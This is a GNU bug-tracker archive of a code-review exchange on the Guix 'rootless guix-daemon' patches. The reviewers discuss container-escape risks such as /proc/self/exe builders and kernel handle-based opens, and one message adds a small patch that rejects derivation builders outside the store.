GNU bug report logs - #75810
[PATCH 0/6] Rootless guix-daemon

Please note: This is a static page, with minimal formatting, updated once a day.
Click here to see this page with the latest information and nicer formatting.

Package: guix-patches; Reported by: Ludovic Courtès <ludo@HIDDEN>; Keywords: patch; dated Fri, 24 Jan 2025 17:24:02 UTC; Maintainer for guix-patches is guix-patches@HIDDEN.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 22 Mar 2025 15:58:03 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Sat Mar 22 11:58:03 2025
Received: from localhost ([127.0.0.1]:44829 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tw1EY-0000Mb-NQ
	for submit <at> debbugs.gnu.org; Sat, 22 Mar 2025 11:58:03 -0400
Received: from hera.aquilenet.fr ([185.233.100.1]:49184)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tw1ER-0000Lv-OJ
 for 75810 <at> debbugs.gnu.org; Sat, 22 Mar 2025 11:58:00 -0400
Received: from localhost (localhost [127.0.0.1])
 by hera.aquilenet.fr (Postfix) with ESMTP id 0BB74D5D;
 Sat, 22 Mar 2025 16:57:48 +0100 (CET)
Authentication-Results: hera.aquilenet.fr;
	none
X-Virus-Scanned: Debian amavis at hera.aquilenet.fr
Received: from hera.aquilenet.fr ([127.0.0.1])
 by localhost (hera.aquilenet.fr [127.0.0.1]) (amavis, port 10024) with ESMTP
 id WdJmg-tfMJ3f; Sat, 22 Mar 2025 16:57:47 +0100 (CET)
Received: from ribbon (91-160-117-201.subs.proxad.net [91.160.117.201])
 by hera.aquilenet.fr (Postfix) with ESMTPSA id A4C4A7E7;
 Sat, 22 Mar 2025 16:57:45 +0100 (CET)
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Reepca Russelstein <reepca@HIDDEN>
Subject: Re: [bug#75810] [PATCH v6 00/16] Rootless guix-daemon
In-Reply-To: <87iko2gpgd.fsf@HIDDEN> (Reepca Russelstein's message of
 "Fri, 21 Mar 2025 14:21:06 -0500")
References: <cover.1742230219.git.ludo@HIDDEN>
 <875xk7594u.fsf@HIDDEN> <87v7s6h21b.fsf@HIDDEN>
 <871puu53mf.fsf@HIDDEN> <87tt7na08n.fsf@HIDDEN>
 <87iko2gpgd.fsf@HIDDEN>
Date: Sat, 22 Mar 2025 16:57:45 +0100
Message-ID: <87sen55a86.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="=-=-="
X-Rspamd-Queue-Id: 0BB74D5D
X-Spamd-Result: default: False [4.90 / 15.00]; SPAM_FLAG(5.00)[];
 BAYES_HAM(-3.00)[100.00%]; NEURAL_SPAM(3.00)[1.000];
 MIME_GOOD(-0.10)[multipart/mixed,text/plain,text/x-patch];
 RCVD_COUNT_TWO(0.00)[2]; FROM_EQ_ENVFROM(0.00)[];
 MIME_TRACE(0.00)[0:+,1:+,2:+,3:+]; RCPT_COUNT_TWO(0.00)[2];
 ARC_NA(0.00)[]; TO_MATCH_ENVRCPT_ALL(0.00)[];
 RCVD_VIA_SMTP_AUTH(0.00)[]; RCVD_TLS_ALL(0.00)[];
 FROM_HAS_DN(0.00)[]; TO_DN_SOME(0.00)[];
 MID_RHS_MATCH_FROM(0.00)[]
X-Spam-Level: ****
X-Rspamd-Action: no action
X-Spamd-Bar: ++++
X-Rspamd-Server: hera
X-Spam-Score: 2.4 (++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Hi Reepca, Reepca Russelstein <reepca@HIDDEN> skribis:
    > Ludovic Courtès <ludo@HIDDEN> writes: > >>> While ensuring that what
   actually gets execve'd is in the store suffices >>> to eliminate the vulnerability,
    it may be "conceptually purer" to >>> requi [...] 
 
 Content analysis details:   (2.4 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.233.100.1 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.233.100.1 listed in bl.score.senderscore.com]
  1.0 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  1.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 1.4 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Hi Reepca, Reepca Russelstein <reepca@HIDDEN> skribis:
    > Ludovic Courtès <ludo@HIDDEN> writes: > >>> While ensuring that what
   actually gets execve'd is in the store suffices >>> to eliminate the vulnerability,
    it may be "conceptually purer" to >>> requi [...] 
 
 Content analysis details:   (1.4 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                          [185.233.100.1 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.233.100.1 listed in bl.score.senderscore.com]
  1.0 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  1.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Hi Reepca,

Reepca Russelstein <reepca@HIDDEN> skribis:

> Ludovic Court=C3=A8s <ludo@HIDDEN> writes:
>
>>> While ensuring that what actually gets execve'd is in the store suffices
>>> to eliminate the vulnerability, it may be "conceptually purer" to
>>> require that the links pointing to it are all in the store as well.  For
>>> example, while a builder that is a symlink pointing to /proc/self/exe
>>> wouldn't be able to modify the daemon binary, it's still a piece of
>>> basically "undefined behavior" as far as the build environment is
>>> concerned, which could be closed up.  But that can come later just as
>>> well.
>>
>> Yes.  But in practice, =E2=80=9Cnormal=E2=80=9D symlinks (i.e., not /pro=
c/self/exe) will
>> lead =E2=80=98canonPath=E2=80=99 to throw if one component is outside th=
e store, since
>> =E2=80=98canonPath=E2=80=99 operates within the chroot.
>
> Unless the component actually exists and is outside of the store.  If we
> just rely on canonPath throwing an exception to be safe, then if there
> ever arose a situation where a non-symlink executable existed outside of
> the store, it would still be possible to convince the daemon to execute
> it.

[...]

> I mention this because I see that patch 07/16 of v7 has left out the
> isInStore check, and I think it should remain.

Hmm right (I was very much assuming that /proc/self/exe was the only
non-store executable, but better be safe than sorry).  Re-adding this:


--=-=-=
Content-Type: text/x-patch
Content-Disposition: inline

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 1733322316..d0fcc99854 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2390,6 +2390,9 @@ void DerivationGoal::runChild()
 	       within the chroot.  */
 	    builderBasename = baseNameOf(drv.builder);
 	    drv.builder = canonPath(drv.builder, true);
+
+	    if (!isInStore(drv.builder))
+		throw Error(format("derivation builder '%1%' is outside the store") % drv.builder);
 	}
 
         /* Fill in the arguments. */

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable


> While researching container escape vulnerabilities, I recently came
> across CAP_DAC_READ_SEARCH and open_by_handle_at, which is a system call
> so insanely powerful it is outright banned in all but the root user
> namespace.  Or at least, it was.  10 months ago, in commit
> 620c266f394932e5decc4b34683a75dfc59dc2f4 of
> https://github.com/torvalds/linux, the requirements were relaxed so
> that, in certain cases, processes in non-root user namespaces could use
> open_by_handle_at.

The way =E2=80=98open_by_handle_at=E2=80=99 is documented (=E2=80=9Chalf=E2=
=80=9D of =E2=80=98openat=E2=80=99) does not
make it immediately obvious to me what makes it =E2=80=9Cpowerful=E2=80=9D.=
  I see the
risk of a confused deputy problem though because of the =E2=80=98mount_id=
=E2=80=99
argument in addition to =E2=80=98handle=E2=80=99.  Is that what you have in=
 mind?

> The consequences of this for same-user containers are not clear to me
> yet, as I haven't studied the kernel source enough to know what exactly
> that commit message means by "privileges over the filesystem" or
> "privileges over a subtree".  I also haven't been able to test this
> behavior yet, because my kernel is actually too old (I do my rebases and
> upgrades rather less regularly than is recommended).  I'll try to look
> into this more once I update my system (and man-pages!), but figured I
> should mention it, because aside from that, and the aforementioned
> isInStore check, I can't think of any remaining concerns.

Alright.  I=E2=80=99ll send v8 with the change above.

Thanks again!

Ludo=E2=80=99.

--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Mar 2025 20:06:29 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Mar 21 16:06:29 2025
Received: from localhost ([127.0.0.1]:39672 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvidR-000128-2V
	for submit <at> debbugs.gnu.org; Fri, 21 Mar 2025 16:06:29 -0400
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:55762)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1tvidN-00011t-9X
 for 75810 <at> debbugs.gnu.org; Fri, 21 Mar 2025 16:06:26 -0400
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=URzbx0sup6gNrdi49Xm9KUmjQNDCCV/yRL1C4+qchU4=; b=xo7wIYcDaSSceEJmhIwtiaKd1F
 wWG4GthaLj5OPE10vLRX6wQ40m0KpdZN6yyxi4oFc90zVV4Dp9kxrg4lR8CA==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:
 References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=URzbx0sup6gNrdi49Xm9KUmjQNDCCV/yRL1C4+qchU4=; b=RTJZRMXHCQb3zInK2zgwMrXt2Y
 tzBC5KuCkJO7BuOlbDHv3+H6hoCRHQyrtc9z8Bf7q99zS3gMKBUy5p3M9AgdFSoA2pzRJRkRPNaha
 rYFBGmp4+LiLtZ+6WKZrp90RPrBy1xwM1gEIr8vo24GEbFjGnnnWQ4awHwi/lsibBobqV8jgFmSO6
 Fa1YncNIh2RcS16JIk+lVKPPGFbpEGCx57TpKed6OUekb5KtHs99W05tpCNpiyBDnjJmKt1/znDgW
 7PdwwWrEqoRgiEShMDmGAeRE40Wl76dL829y9+xGjcrfSl5UzBvPiud7IlcwsZddNcrY7HXAmvldj
 Ls6K3pryaewJKgvd8NZoA9jWbROktStxxF+/zhbDetHBrFCC8nLTscNJ4ykVMGbGMdgtigR5hmbza
 oWmqZT+ilROmZc3XcXM/X5l3RWEbCf7qZz/bkbzYbeaKLcFmxNIenGwfbdPX6lsvnXjtNJE4Ay+To
 yXIsS8ZQ2oGIg4YRYAzXciG4giX7BxRT1CyHvYQArscmYdAqnkQ5TyBAPZT4QUcNo5ijeMIEyfsTh
 FSJu2zd8QQNPzsgvDuNIGLZ4rdA5g37jWghPNgZIXoIWAB02ToJgCGsk+9NDSLB8c+thSVDaShtlV
 pg3glo2OZK2Iy0Ob9CfSuAql47h4K92RedsBNyZYg=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1tvhw6-000000003n5-3y4m; Fri, 21 Mar 2025 14:21:43 -0500
From: Reepca Russelstein <reepca@HIDDEN>
To: Ludovic =?utf-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: Re: [bug#75810] [PATCH v6 00/16] Rootless guix-daemon
In-Reply-To: <87tt7na08n.fsf@HIDDEN> ("Ludovic =?utf-8?Q?Court=C3=A8s=22'?=
 =?utf-8?Q?s?= message of "Thu, 20 Mar 2025 21:57:44 +0100")
References: <cover.1742230219.git.ludo@HIDDEN>
 <875xk7594u.fsf@HIDDEN> <87v7s6h21b.fsf@HIDDEN>
 <871puu53mf.fsf@HIDDEN> <87tt7na08n.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
Date: Fri, 21 Mar 2025 14:21:06 -0500
Message-ID: <87iko2gpgd.fsf@HIDDEN>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.5
X-Spam-Bar: /
X-Spam-Score-Int: 5
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: >> While ensuring
   that what actually gets execve'd is in the store suffices >> to eliminate
   the vulnerability, it may be "conceptually purer" to >> require that the links
    pointing to it are all in the [...] 
 
 Content analysis details:   (0.5 points, 5.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Spam-Score: 2.0 (++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: >> While ensuring
   that what actually gets execve'd is in the store suffices >> to eliminate
   the vulnerability, it may be "conceptually purer" to >> require that the links
    pointing to it are all in the [...] 
 
 Content analysis details:   (2.0 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  1.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 2.0 (++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Ludovic Courtès <ludo@HIDDEN> writes: >> While ensuring
   that what actually gets execve'd is in the store suffices >> to eliminate
   the vulnerability, it may be "conceptually purer" to >> require that the links
    pointing to it are all in the [...] 
 
 Content analysis details:   (2.0 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  1.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
  1.0 BULK_RE_SUSP_NTLD      Precedence bulk and RE: from a suspicious TLD
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Ludovic Court=C3=A8s <ludo@HIDDEN> writes:

>> While ensuring that what actually gets execve'd is in the store suffices
>> to eliminate the vulnerability, it may be "conceptually purer" to
>> require that the links pointing to it are all in the store as well.  For
>> example, while a builder that is a symlink pointing to /proc/self/exe
>> wouldn't be able to modify the daemon binary, it's still a piece of
>> basically "undefined behavior" as far as the build environment is
>> concerned, which could be closed up.  But that can come later just as
>> well.
>
> Yes.  But in practice, =E2=80=9Cnormal=E2=80=9D symlinks (i.e., not /proc=
/self/exe) will
> lead =E2=80=98canonPath=E2=80=99 to throw if one component is outside the=
 store, since
> =E2=80=98canonPath=E2=80=99 operates within the chroot.

Unless the component actually exists and is outside of the store.  If we
just rely on canonPath throwing an exception to be safe, then if there
ever arose a situation where a non-symlink executable existed outside of
the store, it would still be possible to convince the daemon to execute
it.

For example, suppose Linus Torvalds wakes up one day and decides "you
know what, it really is wrong that we're lying about /proc/self/exe
being a symlink" and changes it so that lstat reports a regular file (or
a special file, really anything other than a symlink) that happens to be
a valid argument to readlink.  Or suppose in the interest of
backwards-compatibility he instead adds /proc/self/exe-hardlink.
canonPath won't throw if a symlink points to these hypothetical files,
and the daemon would execute them.  A similar situation could also
happen if an executable showed up in /dev somehow.

I mention this because I see that patch 07/16 of v7 has left out the
isInStore check, and I think it should remain.


> Since we don=E2=80=99t have =E2=80=98Group=3D=E2=80=99 in the .service fi=
le, the daemon runs as
> the group of =E2=80=98guix-daemon=E2=80=99, also called =E2=80=98guix-dae=
mon=E2=80=99 (created by
> =E2=80=98guix-install.sh=E2=80=99).
>
> I confirmed in a VM that the process is indeed running as
> guix-daemon:guix-daemon.

Great.


While researching container escape vulnerabilities, I recently came
across CAP_DAC_READ_SEARCH and open_by_handle_at, which is a system call
so insanely powerful it is outright banned in all but the root user
namespace.  Or at least, it was.  10 months ago, in commit
620c266f394932e5decc4b34683a75dfc59dc2f4 of
https://github.com/torvalds/linux, the requirements were relaxed so
that, in certain cases, processes in non-root user namespaces could use
open_by_handle_at.

The consequences of this for same-user containers are not clear to me
yet, as I haven't studied the kernel source enough to know what exactly
that commit message means by "privileges over the filesystem" or
"privileges over a subtree".  I also haven't been able to test this
behavior yet, because my kernel is actually too old (I do my rebases and
upgrades rather less regularly than is recommended).  I'll try to look
into this more once I update my system (and man-pages!), but figured I
should mention it, because aside from that, and the aforementioned
isInStore check, I can't think of any remaining concerns.

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmfdvCIXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJw9cgf/YBq+fhpaQcMA0BV+svZuMRFI
wfhWb4wDZMU44bFBjLiJx+2A8xS0IUqKIvjXgYvgE7gNLjOnUFoFBqFMuMQu/Sh6
OTwoJLTtFbTBWClh8Abdy414hsCleeQEa3MGRVQ84y4SYhJu2G7c98z4M3UwBLeG
7LM/zEErb/yZ9QraQroEb7LaoyclIe/wtO7BAv+VI5mawDzYnP89oJsMTDJj2PWm
XCi5F/v/WaS4KjWlON7ouweKlmiovF/S8BjLcFTOhZjwFWt8msGv6C7Wd4+ivEfx
V7ce3xMiOsSgtxwjky//ve6oKSEV500pB7sEKbCbdBGKWADemcM0P5+YCbjERg==
=nOjg
-----END PGP SIGNATURE-----
--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 20 Mar 2025 20:58:26 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Thu Mar 20 16:58:26 2025
Received: from localhost ([127.0.0.1]:59228 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tvMyA-0006jN-7n
	for submit <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:58:26 -0400
Received: from hera.aquilenet.fr ([185.233.100.1]:48212)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tvMxd-0006db-6w
 for 75810 <at> debbugs.gnu.org; Thu, 20 Mar 2025 16:57:57 -0400
Received: from localhost (localhost [127.0.0.1])
 by hera.aquilenet.fr (Postfix) with ESMTP id 6FB5883F;
 Thu, 20 Mar 2025 21:57:46 +0100 (CET)
Authentication-Results: hera.aquilenet.fr;
	none
X-Virus-Scanned: Debian amavis at hera.aquilenet.fr
Received: from hera.aquilenet.fr ([127.0.0.1])
 by localhost (hera.aquilenet.fr [127.0.0.1]) (amavis, port 10024) with ESMTP
 id ouPCQ2c0wPiZ; Thu, 20 Mar 2025 21:57:45 +0100 (CET)
Received: from ribbon (91-160-117-201.subs.proxad.net [91.160.117.201])
 by hera.aquilenet.fr (Postfix) with ESMTPSA id 1C5BE212;
 Thu, 20 Mar 2025 21:57:45 +0100 (CET)
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Reepca Russelstein <reepca@HIDDEN>
Subject: Re: [bug#75810] [PATCH v6 00/16] Rootless guix-daemon
In-Reply-To: <871puu53mf.fsf@HIDDEN> (Reepca Russelstein's message of
 "Tue, 18 Mar 2025 18:19:04 -0500")
References: <cover.1742230219.git.ludo@HIDDEN>
 <875xk7594u.fsf@HIDDEN> <87v7s6h21b.fsf@HIDDEN>
 <871puu53mf.fsf@HIDDEN>
Date: Thu, 20 Mar 2025 21:57:44 +0100
Message-ID: <87tt7na08n.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Rspamd-Queue-Id: 6FB5883F
X-Spamd-Result: default: False [4.90 / 15.00]; SPAM_FLAG(5.00)[];
 BAYES_HAM(-3.00)[100.00%]; NEURAL_SPAM(3.00)[1.000];
 MIME_GOOD(-0.10)[text/plain]; RCVD_COUNT_TWO(0.00)[2];
 FROM_EQ_ENVFROM(0.00)[]; MIME_TRACE(0.00)[0:+];
 RCPT_COUNT_TWO(0.00)[2]; ARC_NA(0.00)[];
 TO_MATCH_ENVRCPT_ALL(0.00)[]; RCVD_VIA_SMTP_AUTH(0.00)[];
 RCVD_TLS_ALL(0.00)[]; FROM_HAS_DN(0.00)[]; TO_DN_SOME(0.00)[];
 MID_RHS_MATCH_FROM(0.00)[]
X-Spam-Level: ****
X-Rspamd-Action: no action
X-Spamd-Bar: ++++
X-Rspamd-Server: hera
X-Spam-Score: 2.4 (++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Hi, Reepca Russelstein <reepca@HIDDEN> skribis: >>
    The visible changes in the build environment are unfortunate; I’m hoping
    >> they won’t have any practical impact, not any more than the other >>
    parameters that may change currently (build UID, [...] 
 
 Content analysis details:   (2.4 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.233.100.1 listed in sa-accredit.habeas.com]
  1.0 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  1.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.233.100.1 listed in bl.score.senderscore.com]
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 1.4 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Hi, Reepca Russelstein <reepca@HIDDEN> skribis: >>
    The visible changes in the build environment are unfortunate; I’m hoping
    >> they won’t have any practical impact, not any more than the other >>
    parameters that may change currently (build UID, [...] 
 
 Content analysis details:   (1.4 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  1.0 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  1.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                          [185.233.100.1 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.233.100.1 listed in bl.score.senderscore.com]
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

Hi,

Reepca Russelstein <reepca@HIDDEN> skribis:

>> The visible changes in the build environment are unfortunate; I=E2=80=99=
m hoping
>> they won=E2=80=99t have any practical impact, not any more than the other
>> parameters that may change currently (build UID, binfmt_misc, file
>> system, etc.)  We could test this hypothesis by rebuilding at least the
